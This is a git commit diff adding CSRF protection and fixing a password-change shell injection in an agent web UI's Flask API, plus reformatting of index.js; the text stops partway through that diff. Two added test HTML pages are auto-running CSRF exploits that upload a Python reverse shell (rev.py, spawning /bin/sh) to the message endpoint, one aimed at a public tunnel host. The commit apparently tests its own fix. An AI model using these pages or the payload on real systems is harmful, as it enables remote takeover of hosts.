security fixes

- CSRF tokens implemented into api calls - password change shell injection fixed

frdel committed Jun 24, 2025 at 14:19 UTC 1bb4123dcbe3fb442717e5894200bd59fb28e01a
15 files changed +1820 -1507
python/api/csrf_token.py new
+18
@@ -0,0 +1,18 @@
1 +import secrets
2 +from python.helpers.api import ApiHandler, Input, Output, Request, Response, session
3 +
4 +
5 +class GetCsrfToken(ApiHandler):
6 +
7 + @classmethod
8 + def get_methods(cls) -> list[str]:
9 + return ["GET"]
10 +
11 + @classmethod
12 + def requires_csrf(cls) -> bool:
13 + return False
14 +
15 + async def process(self, input: Input, request: Request) -> Output:
16 + if "csrf_token" not in session:
17 + session["csrf_token"] = secrets.token_urlsafe(32)
18 + return {"token": session["csrf_token"]}
python/api/health.py
+12
@@ -6,6 +6,18 @@ from python.helpers import git
6
7 class HealthCheck(ApiHandler):
8
9 + @classmethod
10 + def requires_auth(cls) -> bool:
11 + return False
12 +
13 + @classmethod
14 + def requires_csrf(cls) -> bool:
15 + return False
16 +
17 + @classmethod
18 + def get_methods(cls) -> list[str]:
19 + return ["GET", "POST"]
20 +
21 async def process(self, input: dict, request: Request) -> dict | Response:
22 gitinfo = None
23 error = None
python/api/scheduler_tick.py
+8
@@ -11,6 +11,14 @@ class SchedulerTick(ApiHandler):
11 def requires_loopback(cls) -> bool:
12 return True
13
14 + @classmethod
15 + def requires_auth(cls) -> bool:
16 + return False
17 +
18 + @classmethod
19 + def requires_csrf(cls) -> bool:
20 + return False
21 +
22 async def process(self, input: Input, request: Request) -> Output:
23 # Get timezone from input (do not set if not provided, we then rely on poll() to set it)
24 if timezone := input.get("timezone", None):
python/helpers/api.py
+9 -2
@@ -3,14 +3,13 @@ import json
3 import threading
4 from typing import Union, TypedDict, Dict, Any
5 from attr import dataclass
6 -from flask import Request, Response, jsonify, Flask
6 +from flask import Request, Response, jsonify, Flask, session, request
7 from agent import AgentContext
8 from initialize import initialize_agent
9 from python.helpers.print_style import PrintStyle
10 from python.helpers.errors import format_error
11 from werkzeug.serving import make_server
12
13 -
13 Input = dict
14 Output = Union[Dict[str, Any], Response, TypedDict] # type: ignore
15
@@ -32,6 +31,14 @@ class ApiHandler:
31 def requires_auth(cls) -> bool:
32 return True
33
34 + @classmethod
35 + def get_methods(cls) -> list[str]:
36 + return ["POST"]
37 +
38 + @classmethod
39 + def requires_csrf(cls) -> bool:
40 + return cls.requires_auth()
41 +
42 @abstractmethod
43 async def process(self, input: Input, request: Request) -> Output:
44 pass
python/helpers/settings.py
+6 -1
@@ -1083,7 +1083,12 @@ def _dict_to_env(data_dict):
1083 def set_root_password(password: str):
1084 if not runtime.is_dockerized():
1085 raise Exception("root password can only be set in dockerized environments")
1086 - subprocess.run(f"echo 'root:{password}' | chpasswd", shell=True, check=True)
1086 + _result = subprocess.run(
1087 + ["chpasswd"],
1088 + input=f"root:{password}".encode(),
1089 + capture_output=True,
1090 + check=True,
1091 + )
1092 dotenv.save_dotenv_value(dotenv.KEY_ROOT_PASSWORD, password)
1093
1094
run_ui.py
+33 -26
@@ -1,4 +1,5 @@
1 import os
2 +import secrets
3 import sys
4 import time
5 import socket
@@ -6,7 +7,8 @@ import struct
7 from functools import wraps
8 import threading
9 import signal
9 -from flask import Flask, request, Response
10 +from typing import override
11 +from flask import Flask, request, Response, session
12 from flask_basicauth import BasicAuth
13 import initialize
14 from python.helpers import errors, files, git, mcp_server
@@ -24,7 +26,12 @@ time.tzset()
26
27 # initialize the internal Flask server
28 webapp = Flask("app", static_folder=get_abs_path("./webui"), static_url_path="/")
27 -webapp.config["JSON_SORT_KEYS"] = False # Disable key sorting in jsonify
29 +webapp.secret_key = os.getenv("FLASK_SECRET_KEY") or secrets.token_hex(32)
30 +webapp.config.update(
31 + JSON_SORT_KEYS=False,
32 + SESSION_COOKIE_SAMESITE="Strict",
33 +)
34 +
35
36 lock = threading.Lock()
37
@@ -119,6 +126,18 @@ def requires_auth(f):
126 return decorated
127
128
129 +def csrf_protect(f):
130 + @wraps(f)
131 + async def decorated(*args, **kwargs):
132 + token = session.get("csrf_token")
133 + header = request.headers.get("X-CSRF-Token")
134 + if not token or not header or token != header:
135 + return Response("CSRF token missing or invalid", 403)
136 + return await f(*args, **kwargs)
137 +
138 + return decorated
139 +
140 +
141 # handle default address, load index
142 @webapp.route("/", methods=["GET"])
143 @requires_auth
@@ -164,35 +183,23 @@ def run():
183 name = handler.__module__.split(".")[-1]
184 instance = handler(app, lock)
185
167 - if handler.requires_loopback():
168 -
169 - @requires_loopback
170 - async def handle_request():
171 - return await instance.handle_request(request=request)
172 -
173 - elif handler.requires_auth():
174 -
175 - @requires_auth
176 - async def handle_request():
177 - return await instance.handle_request(request=request)
186 + async def handler_wrap():
187 + return await instance.handle_request(request=request)
188
179 - elif handler.requires_api_key():
180 -
181 - @requires_api_key
182 - async def handle_request():
183 - return await instance.handle_request(request=request)
184 -
185 - else:
186 - # Fallback to requires_auth
187 - @requires_auth
188 - async def handle_request():
189 - return await instance.handle_request(request=request)
189 + if handler.requires_loopback():
190 + handler_wrap = requires_loopback(handler_wrap)
191 + if handler.requires_auth():
192 + handler_wrap = requires_auth(handler_wrap)
193 + if handler.requires_api_key():
194 + handler_wrap = requires_api_key(handler_wrap)
195 + if handler.requires_csrf():
196 + handler_wrap = csrf_protect(handler_wrap)
197
198 app.add_url_rule(
199 f"/{name}",
200 f"/{name}",
194 - handle_request,
195 - methods=["POST", "GET"],
201 + handler_wrap,
202 + methods=handler.get_methods(),
203 )
204
205 # initialize and register API handlers
test [conflicted].html new
+61
@@ -0,0 +1,61 @@
1 +<html>
2 + <body>
3 + <script>
4 + function submitRequest()
5 + {
6 + // First XMLHttpRequest to get the CSRF token
7 + var tokenXhr = new XMLHttpRequest();
8 + tokenXhr.open("GET", "http:\/\/localhost:50002\/csrf_token", false); // synchronous request
9 + tokenXhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
10 + tokenXhr.setRequestHeader("Accept", "*\/*");
11 + tokenXhr.withCredentials = true;
12 + tokenXhr.send({});
13 +
14 + // Parse the token response
15 + var tokenData = JSON.parse(tokenXhr.responseText);
16 + var csrfToken = tokenData.token;
17 +
18 + var xhr = new XMLHttpRequest();
19 + xhr.open("POST", "https:\/\/participant-masters-estimates-digit.trycloudflare.com\/message_async", true);
20 + xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
21 + xhr.setRequestHeader("Accept", "*\/*");
22 + xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2vhsFbdS6JottCc9");
23 + xhr.setRequestHeader("X-CSRF-Token", csrfToken);
24 + xhr.withCredentials = true;
25 + var body = "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
26 + "Content-Disposition: form-data; name=\"text\"\r\n" +
27 + "\r\n" +
28 + "\r\n" +
29 + "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
30 + "Content-Disposition: form-data; name=\"context\"\r\n" +
31 + "\r\n" +
32 + "4770cda2-faa5-40eb-91be-f45edbec9a34\r\n" +
33 + "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
34 + "Content-Disposition: form-data; name=\"message_id\"\r\n" +
35 + "\r\n" +
36 + "6ce5886d-f55c-4f74-a980-c483ee291349\r\n" +
37 + "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
38 + "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" +
39 + "Content-Type: text/x-python\r\n" +
40 + "\r\n" +
41 + "import socket,os,pty\n" +
42 + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
43 + "s.connect((\"127.0.0.1\",4444))\n" +
44 + "os.dup2(s.fileno(),0)\n" +
45 + "os.dup2(s.fileno(),1)\n" +
46 + "os.dup2(s.fileno(),2)\n" +
47 + "pty.spawn(\"/bin/sh\")\n" +
48 + "\r\n" +
49 + "------WebKitFormBoundary2vhsFbdS6JottCc9--\r\n";
50 + var aBody = new Uint8Array(body.length);
51 + for (var i = 0; i < aBody.length; i++)
52 + aBody[i] = body.charCodeAt(i);
53 + xhr.send(new Blob([aBody]));
54 + }
55 + submitRequest();
56 + </script>
57 + <form action="#">
58 + <input type="button" value="Submit request" onclick="submitRequest();" />
59 + </form>
60 + </body>
61 +</html>
\ No newline at end of file
test.html new
+65
@@ -0,0 +1,65 @@
1 +<html>
2 + <body>
3 + <script>
4 + function submitRequest()
5 + {
6 + // First XMLHttpRequest to get the CSRF token
7 + var tokenXhr = new XMLHttpRequest();
8 + tokenXhr.open("GET", "http:\/\/localhost:50002\/csrf_token", false); // synchronous request
9 + tokenXhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
10 + tokenXhr.setRequestHeader("Accept", "*\/*");
11 + tokenXhr.withCredentials = true;
12 + tokenXhr.send({});
13 +
14 +
15 + // Parse the token response
16 + var tokenData = JSON.parse(tokenXhr.responseText);
17 + var csrfToken = tokenData.token;
18 +
19 + // Set the CSRF token as a cookie to match session["csrf_token"]
20 + document.cookie = "csrf_token=" + csrfToken + "; path=/; SameSite=Strict";
21 +
22 + var xhr = new XMLHttpRequest();
23 + xhr.open("POST", "http:\/\/localhost:50002\/message_async", true);
24 + xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
25 + xhr.setRequestHeader("Accept", "*\/*");
26 + xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary2vhsFbdS6JottCc9");
27 + xhr.setRequestHeader("X-CSRF-Token", csrfToken);
28 + xhr.withCredentials = true;
29 + var body = "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
30 + "Content-Disposition: form-data; name=\"text\"\r\n" +
31 + "\r\n" +
32 + "\r\n" +
33 + "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
34 + "Content-Disposition: form-data; name=\"context\"\r\n" +
35 + "\r\n" +
36 + "4770cda2-faa5-40eb-91be-f45edbec9a34\r\n" +
37 + "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
38 + "Content-Disposition: form-data; name=\"message_id\"\r\n" +
39 + "\r\n" +
40 + "6ce5886d-f55c-4f74-a980-c483ee291349\r\n" +
41 + "------WebKitFormBoundary2vhsFbdS6JottCc9\r\n" +
42 + "Content-Disposition: form-data; name=\"attachments\"; filename=\"rev.py\"\r\n" +
43 + "Content-Type: text/x-python\r\n" +
44 + "\r\n" +
45 + "import socket,os,pty\n" +
46 + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
47 + "s.connect((\"127.0.0.1\",4444))\n" +
48 + "os.dup2(s.fileno(),0)\n" +
49 + "os.dup2(s.fileno(),1)\n" +
50 + "os.dup2(s.fileno(),2)\n" +
51 + "pty.spawn(\"/bin/sh\")\n" +
52 + "\r\n" +
53 + "------WebKitFormBoundary2vhsFbdS6JottCc9--\r\n";
54 + var aBody = new Uint8Array(body.length);
55 + for (var i = 0; i < aBody.length; i++)
56 + aBody[i] = body.charCodeAt(i);
57 + xhr.send(new Blob([aBody]));
58 + }
59 + submitRequest();
60 + </script>
61 + <form action="#">
62 + <input type="button" value="Submit request" onclick="submitRequest();" />
63 + </form>
64 + </body>
65 +</html>
\ No newline at end of file
webui/index.js
+1118 -1068
@@ -1,25 +1,26 @@
1 import * as msgs from "./js/messages.js";
2 import { speech } from "./js/speech.js";
3 -
4 -const leftPanel = document.getElementById('left-panel');
5 -const rightPanel = document.getElementById('right-panel');
6 -const container = document.querySelector('.container');
7 -const chatInput = document.getElementById('chat-input');
8 -const chatHistory = document.getElementById('chat-history');
9 -const sendButton = document.getElementById('send-button');
10 -const inputSection = document.getElementById('input-section');
11 -const statusSection = document.getElementById('status-section');
12 -const chatsSection = document.getElementById('chats-section');
13 -const tasksSection = document.getElementById('tasks-section');
14 -const progressBar = document.getElementById('progress-bar');
15 -const autoScrollSwitch = document.getElementById('auto-scroll-switch');
16 -const timeDate = document.getElementById('time-date-container');
17 -
3 +import * as api from "./js/api.js";
4 +
5 +window.fetchApi = api.fetchApi; // TODO - backward compatibility for non-modular scripts, remove once refactored to alpine
6 +
7 +const leftPanel = document.getElementById("left-panel");
8 +const rightPanel = document.getElementById("right-panel");
9 +const container = document.querySelector(".container");
10 +const chatInput = document.getElementById("chat-input");
11 +const chatHistory = document.getElementById("chat-history");
12 +const sendButton = document.getElementById("send-button");
13 +const inputSection = document.getElementById("input-section");
14 +const statusSection = document.getElementById("status-section");
15 +const chatsSection = document.getElementById("chats-section");
16 +const tasksSection = document.getElementById("tasks-section");
17 +const progressBar = document.getElementById("progress-bar");
18 +const autoScrollSwitch = document.getElementById("auto-scroll-switch");
19 +const timeDate = document.getElementById("time-date-container");
20
21 let autoScroll = true;
22 let context = "";
21 -let connectionStatus = false
22 -
23 +let connectionStatus = false;
24
25 // Initialize the toggle button
26 setupSidebarToggle();
@@ -27,1250 +28,1297 @@ setupSidebarToggle();
28 setupTabs();
29
30 function isMobile() {
30 - return window.innerWidth <= 768;
31 + return window.innerWidth <= 768;
32 }
33
34 function toggleSidebar(show) {
34 - const overlay = document.getElementById('sidebar-overlay');
35 - if (typeof show === 'boolean') {
36 - leftPanel.classList.toggle('hidden', !show);
37 - rightPanel.classList.toggle('expanded', !show);
38 - overlay.classList.toggle('visible', show);
39 - } else {
40 - leftPanel.classList.toggle('hidden');
41 - rightPanel.classList.toggle('expanded');
42 - overlay.classList.toggle('visible', !leftPanel.classList.contains('hidden'));
43 - }
35 + const overlay = document.getElementById("sidebar-overlay");
36 + if (typeof show === "boolean") {
37 + leftPanel.classList.toggle("hidden", !show);
38 + rightPanel.classList.toggle("expanded", !show);
39 + overlay.classList.toggle("visible", show);
40 + } else {
41 + leftPanel.classList.toggle("hidden");
42 + rightPanel.classList.toggle("expanded");
43 + overlay.classList.toggle(
44 + "visible",
45 + !leftPanel.classList.contains("hidden")
46 + );
47 + }
48 }
49
50 function handleResize() {
47 - const overlay = document.getElementById('sidebar-overlay');
48 - if (isMobile()) {
49 - leftPanel.classList.add('hidden');
50 - rightPanel.classList.add('expanded');
51 - overlay.classList.remove('visible');
52 - } else {
53 - leftPanel.classList.remove('hidden');
54 - rightPanel.classList.remove('expanded');
55 - overlay.classList.remove('visible');
56 - }
51 + const overlay = document.getElementById("sidebar-overlay");
52 + if (isMobile()) {
53 + leftPanel.classList.add("hidden");
54 + rightPanel.classList.add("expanded");
55 + overlay.classList.remove("visible");
56 + } else {
57 + leftPanel.classList.remove("hidden");
58 + rightPanel.classList.remove("expanded");
59 + overlay.classList.remove("visible");
60 + }
61 }
62
59 -window.addEventListener('load', handleResize);
60 -window.addEventListener('resize', handleResize);
63 +window.addEventListener("load", handleResize);
64 +window.addEventListener("resize", handleResize);
65
62 -document.addEventListener('DOMContentLoaded', () => {
63 - const overlay = document.getElementById('sidebar-overlay');
64 - overlay.addEventListener('click', () => {
65 - if (isMobile()) {
66 - toggleSidebar(false);
67 - }
68 - });
66 +document.addEventListener("DOMContentLoaded", () => {
67 + const overlay = document.getElementById("sidebar-overlay");
68 + overlay.addEventListener("click", () => {
69 + if (isMobile()) {
70 + toggleSidebar(false);
71 + }
72 + });
73 });
74
75 function setupSidebarToggle() {
72 - const leftPanel = document.getElementById('left-panel');
73 - const rightPanel = document.getElementById('right-panel');
74 - const toggleSidebarButton = document.getElementById('toggle-sidebar');
75 - if (toggleSidebarButton) {
76 - toggleSidebarButton.addEventListener('click', toggleSidebar);
77 - } else {
78 - console.error('Toggle sidebar button not found');
79 - setTimeout(setupSidebarToggle, 100);
80 - }
76 + const leftPanel = document.getElementById("left-panel");
77 + const rightPanel = document.getElementById("right-panel");
78 + const toggleSidebarButton = document.getElementById("toggle-sidebar");
79 + if (toggleSidebarButton) {
80 + toggleSidebarButton.addEventListener("click", toggleSidebar);
81 + } else {
82 + console.error("Toggle sidebar button not found");
83 + setTimeout(setupSidebarToggle, 100);
84 + }
85 }
82 -document.addEventListener('DOMContentLoaded', setupSidebarToggle);
86 +document.addEventListener("DOMContentLoaded", setupSidebarToggle);
87
88 export async function sendMessage() {
85 - try {
86 - const message = chatInput.value.trim();
87 - const inputAD = Alpine.$data(inputSection);
88 - const attachments = inputAD.attachments;
89 - const hasAttachments = attachments && attachments.length > 0;
90 -
91 - if (message || hasAttachments) {
92 - let response;
93 - const messageId = generateGUID();
94 -
95 - // Include attachments in the user message
96 - if (hasAttachments) {
97 - const attachmentsWithUrls = attachments.map(attachment => {
98 - if (attachment.type === 'image') {
99 - return {
100 - ...attachment,
101 - url: URL.createObjectURL(attachment.file)
102 - };
103 - } else {
104 - return {
105 - ...attachment
106 - };
107 - }
108 - });
109 -
110 - // Render user message with attachments
111 - setMessage(messageId, 'user', '', message, false, {
112 - attachments: attachmentsWithUrls
113 - });
114 -
115 - const formData = new FormData();
116 - formData.append('text', message);
117 - formData.append('context', context);
118 - formData.append('message_id', messageId);
119 -
120 - for (let i = 0; i < attachments.length; i++) {
121 - formData.append('attachments', attachments[i].file);
122 - }
123 -
124 - response = await fetch('/message_async', {
125 - method: 'POST',
126 - body: formData
127 - });
128 - } else {
129 - // For text-only messages
130 - const data = {
131 - text: message,
132 - context,
133 - message_id: messageId
134 - };
135 - response = await fetch('/message_async', {
136 - method: 'POST',
137 - headers: {
138 - 'Content-Type': 'application/json'
139 - },
140 - body: JSON.stringify(data)
141 - });
142 - }
143 -
144 - // Handle response
145 - const jsonResponse = await response.json();
146 - if (!jsonResponse) {
147 - toast("No response returned.", "error");
148 - }
149 - // else if (!jsonResponse.ok) {
150 - // if (jsonResponse.message) {
151 - // toast(jsonResponse.message, "error");
152 - // } else {
153 - // toast("Undefined error.", "error");
154 - // }
155 - // }
156 - else {
157 - setContext(jsonResponse.context);
158 - }
159 -
160 - // Clear input and attachments
161 - chatInput.value = '';
162 - inputAD.attachments = [];
163 - inputAD.hasAttachments = false;
164 - adjustTextareaHeight();
89 + try {
90 + const message = chatInput.value.trim();
91 + const inputAD = Alpine.$data(inputSection);
92 + const attachments = inputAD.attachments;
93 + const hasAttachments = attachments && attachments.length > 0;
94 +
95 + if (message || hasAttachments) {
96 + let response;
97 + const messageId = generateGUID();
98 +
99 + // Include attachments in the user message
100 + if (hasAttachments) {
101 + const attachmentsWithUrls = attachments.map((attachment) => {
102 + if (attachment.type === "image") {
103 + return {
104 + ...attachment,
105 + url: URL.createObjectURL(attachment.file),
106 + };
107 + } else {
108 + return {
109 + ...attachment,
110 + };
111 + }
112 + });
113 +
114 + // Render user message with attachments
115 + setMessage(messageId, "user", "", message, false, {
116 + attachments: attachmentsWithUrls,
117 + });
118 +
119 + const formData = new FormData();
120 + formData.append("text", message);
121 + formData.append("context", context);
122 + formData.append("message_id", messageId);
123 +
124 + for (let i = 0; i < attachments.length; i++) {
125 + formData.append("attachments", attachments[i].file);
126 }
166 - } catch (e) {
167 - toastFetchError("Error sending message", e)
127 +
128 + response = await api.fetchApi("/message_async", {
129 + method: "POST",
130 + body: formData,
131 + });
132 + } else {
133 + // For text-only messages
134 + const data = {
135 + text: message,
136 + context,
137 + message_id: messageId,
138 + };
139 + response = await api.fetchApi("/message_async", {
140 + method: "POST",
141 + headers: {
142 + "Content-Type": "application/json",
143 + },
144 + body: JSON.stringify(data),
145 + });
146 + }
147 +
148 + // Handle response
149 + const jsonResponse = await response.json();
150 + if (!jsonResponse) {
151 + toast("No response returned.", "error");
152 + }
153 + // else if (!jsonResponse.ok) {
154 + // if (jsonResponse.message) {
155 + // toast(jsonResponse.message, "error");
156 + // } else {
157 + // toast("Undefined error.", "error");
158 + // }
159 + // }
160 + else {
161 + setContext(jsonResponse.context);
162 + }
163 +
164 + // Clear input and attachments
165 + chatInput.value = "";
166 + inputAD.attachments = [];
167 + inputAD.hasAttachments = false;
168 + adjustTextareaHeight();
169 }
170 + } catch (e) {
171 + toastFetchError("Error sending message", e);
172 + }
173 }
174
175 function toastFetchError(text, error) {
172 - if (getConnectionStatus()) {
173 - toast(`${text}: ${error.message}`, "error");
174 - } else {
175 - toast(`${text} (it seems the backend is not running): ${error.message}`, "error");
176 - }
177 - console.error(text, error);
176 + if (getConnectionStatus()) {
177 + toast(`${text}: ${error.message}`, "error");
178 + } else {
179 + toast(
180 + `${text} (it seems the backend is not running): ${error.message}`,
181 + "error"
182 + );
183 + }
184 + console.error(text, error);
185 }
179 -window.toastFetchError = toastFetchError
186 +window.toastFetchError = toastFetchError;
187
181 -chatInput.addEventListener('keydown', (e) => {
182 - if (e.key === 'Enter' && !e.shiftKey) {
183 - e.preventDefault();
184 - sendMessage();
185 - }
188 +chatInput.addEventListener("keydown", (e) => {
189 + if (e.key === "Enter" && !e.shiftKey) {
190 + e.preventDefault();
191 + sendMessage();
192 + }
193 });
194
188 -sendButton.addEventListener('click', sendMessage);
189 -
195 +sendButton.addEventListener("click", sendMessage);
196
197 export function updateChatInput(text) {
192 - console.log('updateChatInput called with:', text);
198 + console.log("updateChatInput called with:", text);
199
194 - // Append text with proper spacing
195 - const currentValue = chatInput.value;
196 - const needsSpace = currentValue.length > 0 && !currentValue.endsWith(' ');
197 - chatInput.value = currentValue + (needsSpace ? ' ' : '') + text + ' ';
200 + // Append text with proper spacing
201 + const currentValue = chatInput.value;
202 + const needsSpace = currentValue.length > 0 && !currentValue.endsWith(" ");
203 + chatInput.value = currentValue + (needsSpace ? " " : "") + text + " ";
204
199 - // Adjust height and trigger input event
200 - adjustTextareaHeight();
201 - chatInput.dispatchEvent(new Event('input'));
205 + // Adjust height and trigger input event
206 + adjustTextareaHeight();
207 + chatInput.dispatchEvent(new Event("input"));
208
203 - console.log('Updated chat input value:', chatInput.value);
209 + console.log("Updated chat input value:", chatInput.value);
210 }
211
212 function updateUserTime() {
207 - const now = new Date();
208 - const hours = now.getHours();
209 - const minutes = now.getMinutes();
210 - const seconds = now.getSeconds();
211 - const ampm = hours >= 12 ? 'pm' : 'am';
212 - const formattedHours = hours % 12 || 12;
213 -
214 - // Format the time
215 - const timeString = `${formattedHours}:${minutes.toString().padStart(2, '0')}:${seconds.toString().padStart(2, '0')} ${ampm}`;
216 -
217 - // Format the date
218 - const options = { year: 'numeric', month: 'short', day: 'numeric' };
219 - const dateString = now.toLocaleDateString(undefined, options);
220 -
221 - // Update the HTML
222 - const userTimeElement = document.getElementById('time-date');
223 - userTimeElement.innerHTML = `${timeString}<br><span id="user-date">${dateString}</span>`;
213 + const now = new Date();
214 + const hours = now.getHours();
215 + const minutes = now.getMinutes();
216 + const seconds = now.getSeconds();
217 + const ampm = hours >= 12 ? "pm" : "am";
218 + const formattedHours = hours % 12 || 12;
219 +
220 + // Format the time
221 + const timeString = `${formattedHours}:${minutes
222 + .toString()
223 + .padStart(2, "0")}:${seconds.toString().padStart(2, "0")} ${ampm}`;
224 +
225 + // Format the date
226 + const options = { year: "numeric", month: "short", day: "numeric" };
227 + const dateString = now.toLocaleDateString(undefined, options);
228 +
229 + // Update the HTML
230 + const userTimeElement = document.getElementById("time-date");
231 + userTimeElement.innerHTML = `${timeString}<br><span id="user-date">${dateString}</span>`;
232 }
233
234 updateUserTime();
235 setInterval(updateUserTime, 1000);
236
229 -
237 function setMessage(id, type, heading, content, temp, kvps = null) {
231 - // Search for the existing message container by id
232 - let messageContainer = document.getElementById(`message-${id}`);
238 + // Search for the existing message container by id
239 + let messageContainer = document.getElementById(`message-${id}`);
240
234 - if (messageContainer) {
235 - // Don't re-render user messages
236 - if (type === 'user') {
237 - return; // Skip re-rendering
238 - }
239 - // For other types, update the message
240 - messageContainer.innerHTML = '';
241 - } else {
242 - // Create a new container if not found
243 - const sender = type === 'user' ? 'user' : 'ai';
244 - messageContainer = document.createElement('div');
245 - messageContainer.id = `message-${id}`;
246 - messageContainer.classList.add('message-container', `${sender}-container`);
247 - if (temp) messageContainer.classList.add("message-temp");
241 + if (messageContainer) {
242 + // Don't re-render user messages
243 + if (type === "user") {
244 + return; // Skip re-rendering
245 }
249 -
250 - const handler = msgs.getHandler(type);
251 - handler(messageContainer, id, type, heading, content, temp, kvps);
252 -
253 - // If the container was found, it was already in the DOM, no need to append again
254 - if (!document.getElementById(`message-${id}`)) {
255 - chatHistory.appendChild(messageContainer);
256 - }
257 -
258 - if (autoScroll) chatHistory.scrollTop = chatHistory.scrollHeight;
246 + // For other types, update the message
247 + messageContainer.innerHTML = "";
248 + } else {
249 + // Create a new container if not found
250 + const sender = type === "user" ? "user" : "ai";
251 + messageContainer = document.createElement("div");
252 + messageContainer.id = `message-${id}`;
253 + messageContainer.classList.add("message-container", `${sender}-container`);
254 + if (temp) messageContainer.classList.add("message-temp");
255 + }
256 +
257 + const handler = msgs.getHandler(type);
258 + handler(messageContainer, id, type, heading, content, temp, kvps);
259 +
260 + // If the container was found, it was already in the DOM, no need to append again
261 + if (!document.getElementById(`message-${id}`)) {
262 + chatHistory.appendChild(messageContainer);
263 + }
264 +
265 + if (autoScroll) chatHistory.scrollTop = chatHistory.scrollHeight;
266 }
267
261 -
268 window.loadKnowledge = async function () {
263 - const input = document.createElement('input');
264 - input.type = 'file';
265 - input.accept = '.txt,.pdf,.csv,.html,.json,.md';
266 - input.multiple = true;
267 -
268 - input.onchange = async () => {
269 - try{
270 - const formData = new FormData();
271 - for (let file of input.files) {
272 - formData.append('files[]', file);
273 - }
274 -
275 - formData.append('ctxid', getContext());
276 -
277 - const response = await fetch('/import_knowledge', {
278 - method: 'POST',
279 - body: formData,
280 - });
281 -
282 - if (!response.ok) {
283 - toast(await response.text(), "error");
284 - } else {
285 - const data = await response.json();
286 - toast("Knowledge files imported: " + data.filenames.join(", "), "success");
287 - }
288 - } catch (e) {
289 - toastFetchError("Error loading knowledge", e)
290 - }
291 - };
269 + const input = document.createElement("input");
270 + input.type = "file";
271 + input.accept = ".txt,.pdf,.csv,.html,.json,.md";
272 + input.multiple = true;
273
293 - input.click();
294 -}
274 + input.onchange = async () => {
275 + try {
276 + const formData = new FormData();
277 + for (let file of input.files) {
278 + formData.append("files[]", file);
279 + }
280 +
281 + formData.append("ctxid", getContext());
282 +
283 + const response = await api.fetchApi("/import_knowledge", {
284 + method: "POST",
285 + body: formData,
286 + });
287 +
288 + if (!response.ok) {
289 + toast(await response.text(), "error");
290 + } else {
291 + const data = await response.json();
292 + toast(
293 + "Knowledge files imported: " + data.filenames.join(", "),
294 + "success"
295 + );
296 + }
297 + } catch (e) {
298 + toastFetchError("Error loading knowledge", e);
299 + }
300 + };
301
302 + input.click();
303 +};
304
305 function adjustTextareaHeight() {
298 - chatInput.style.height = 'auto';
299 - chatInput.style.height = (chatInput.scrollHeight) + 'px';
306 + chatInput.style.height = "auto";
307 + chatInput.style.height = chatInput.scrollHeight + "px";
308 }
309
310 export const sendJsonData = async function (url, data) {
303 - const response = await fetch(url, {
304 - method: 'POST',
305 - headers: {
306 - 'Content-Type': 'application/json'
307 - },
308 - body: JSON.stringify(data)
309 - });
310 -
311 - if (!response.ok) {
312 - const error = await response.text();
313 - throw new Error(error);
314 - }
315 - const jsonResponse = await response.json();
316 - return jsonResponse;
317 -}
318 -window.sendJsonData = sendJsonData
311 + return await api.callJsonApi(url, data);
312 + // const response = await api.fetchApi(url, {
313 + // method: 'POST',
314 + // headers: {
315 + // 'Content-Type': 'application/json'
316 + // },
317 + // body: JSON.stringify(data)
318 + // });
319 +
320 + // if (!response.ok) {
321 + // const error = await response.text();
322 + // throw new Error(error);
323 + // }
324 + // const jsonResponse = await response.json();
325 + // return jsonResponse;
326 +};
327 +window.sendJsonData = sendJsonData;
328
329 function generateGUID() {
321 - return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
322 - var r = Math.random() * 16 | 0;
323 - var v = c === 'x' ? r : (r & 0x3 | 0x8);
324 - return v.toString(16);
325 - });
330 + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) {
331 + var r = (Math.random() * 16) | 0;
332 + var v = c === "x" ? r : (r & 0x3) | 0x8;
333 + return v.toString(16);
334 + });
335 }
336
337 function getConnectionStatus() {
329 - return connectionStatus
338 + return connectionStatus;
339 }
340
341 function setConnectionStatus(connected) {
333 - connectionStatus = connected
334 - const statusIcon = Alpine.$data(timeDate.querySelector('.status-icon'));
335 - statusIcon.connected = connected
342 + connectionStatus = connected;
343 + const statusIcon = Alpine.$data(timeDate.querySelector(".status-icon"));
344 + statusIcon.connected = connected;
345 }
346
347 let lastLogVersion = 0;
339 -let lastLogGuid = ""
340 -let lastSpokenNo = 0
348 +let lastLogGuid = "";
349 +let lastSpokenNo = 0;
350
351 async function poll() {
343 - let updated = false
344 - try {
345 - // Get timezone from navigator
346 - const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
347 -
348 - const response = await sendJsonData(
349 - "/poll",
350 - {
351 - log_from: lastLogVersion,
352 - context: context || null,
353 - timezone: timezone
354 - }
355 - );
352 + let updated = false;
353 + try {
354 + // Get timezone from navigator
355 + const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
356 +
357 + const response = await sendJsonData("/poll", {
358 + log_from: lastLogVersion,
359 + context: context || null,
360 + timezone: timezone,
361 + });
362
357 - // Check if the response is valid
358 - if (!response) {
359 - console.error("Invalid response from poll endpoint");
360 - return false;
361 - }
363 + // Check if the response is valid
364 + if (!response) {
365 + console.error("Invalid response from poll endpoint");
366 + return false;
367 + }
368
363 - if (!context) setContext(response.context)
364 - if (response.context != context) return //skip late polls after context change
369 + if (!context) setContext(response.context);
370 + if (response.context != context) return; //skip late polls after context change
371
366 - if (lastLogGuid != response.log_guid) {
367 - chatHistory.innerHTML = ""
368 - lastLogVersion = 0
369 - }
372 + if (lastLogGuid != response.log_guid) {
373 + chatHistory.innerHTML = "";
374 + lastLogVersion = 0;
